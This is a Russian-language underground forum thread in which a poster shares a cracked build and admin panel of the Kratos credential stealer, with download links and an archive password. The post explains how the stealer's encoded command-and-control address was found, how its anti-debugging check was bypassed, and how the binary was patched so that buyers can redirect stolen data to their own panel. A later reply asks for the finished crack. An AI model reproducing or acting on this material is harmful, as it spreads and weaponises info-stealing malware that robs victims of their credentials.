Кряк v1.0 Kratos Stealer от ims0rry

c0dpro

Йо йо, привет всем. С вами снова я. На этот раз вместо того, чтобы срать в топе я решил нагло спиздить его продукт. Ну, не совсем нагло, сначала я его купил.



Билдер + админка ( без инструкции ):
https://www.sendspace.com/file/tap1bg
пасс exploit.in

Кому нужна админка с инструкциями от автора, то качаем по этому линку. Прям как селлер предоставил: https://yadi.sk/d/Cej6h5fZ3VPP4U

Выкладываю кряк, а также как я его сделал под Kratos stealer от ims0rry

Источник - какой-то школо форум: https://darkwebs.ws/threads/39040/

Часто встречал, что его юзают. Везде слышу этот аймсорри. Решил глянуть че за аймсорри.

Продукт был приобретен у его селлера: https://forum.exploit.in/index.php?showtopic=139456

Так что админка прилагается. Все легально! А что, в условиях пользования был запрещен слив на вт, так туда я не сливал. Сливаю на эксп. Хм.


Судя по логам трафика он стучит куда мы скажем, так что должно работать. Чтобы стучала налево не заметил



Proof of work, отстук на мой Host: security-mail.top

Кстати, автор видимо ебанат писать название продукта в User-agent. Детект одним правилом у аверов...

How to

Итак, открываем билд. Идем в импорт и там смотрим где вызывается wininet функции. Находим функцию с такими прототипами:



Смотрим откуда она вызывается:



Пролистав вверх видим как пушится очень "неприметный" массив на стэк. Ага, ваще не палевно. Флаг в руки.



Как видим - внутри base64 строка, декодировав которую получаем адрес панели.

Выглядит в си это так:

Код

CHAR unCrackable[] = {'b', 'l', 'a', 'b', 'l', 'a', '\0'};


Современные методы обфускации че сказать


Наша задача - это подменить.

Делается это тривиально не смотря на все это говно. Нам надо подменить строку, значит просто посмотрим где она юзается.

Вариант I


Подменить адрес base64. Вариант не очень, так как нам придется еще в бейс перегонять, да и юзаются std::string ( как мы видим дохуя аллокаторов ), из-за которой может возникнуть возня.

Вариант II
На том же месте подменить результат декода. Я хотел сделать так, и я сделал. Но почему-то вылетал Heap corruption, не стал разбираться. Так что не вариант

Вариант III
Помоему самый наглый




Его и сделаем

ims0rry видимо не знает что такое оптимизатор и поэтому отключает его от греха подальше


(это я о мусорном коде cmp ).

Это нам и поможет. Благодаря отключенному оптимизатору тут достаточно места, чтобы вписать mov ecx, адрес


Для этого прыгнем туда в дебагере. Врубаем, ставим бряк на интернетопен и хуярим. Попадаем на анти-дебаг ( который в последствии будем юзать для хранения адреса панели
)

Анти-дебаг прямиком из 90-х. Инлайним IsDebuggerPresent в надежде, что реверсер испугается и съебется. Ага.



Тупо вводим dbh в cmd x64dbg, он патчит PEB и ставит туда 0. Ims0rry, i am sorry за такое.

Видим внизу куча mov. Занопим их.



Видим кстати также стеб от ims0rry. Это говорит о том насколько чтение пеба он считает продвинутой техникой


Зашибись, теперь патчим вызов InternetConnect, чтобы адрес оно брало из занопленного анти-дебаг кода


Чтобы выглядело так:


Это кстати дебаг уже пропатченного бинаря. Видим 123.123.123.123 в стеке. Туда и отстучит




Осталось написать билдер и вместо nop писать то что нам надо.

Посмотрим файловый оффсет до нопов.



Спишем его, перегоним в хидер стаб и сделаем патчер:



Объяснений, надеюсь, не надо
 
Последнее редактирование модератором:

Bob2118

Пользователь
9 Июн 2018
45
15
0
А можно конечный результат кряка 3 варианта? А то мне лично особо не понятно)))
 

Bob2118

Пользователь
9 Июн 2018
45
15
0
И ссылка с инструкцией от автора не рабочая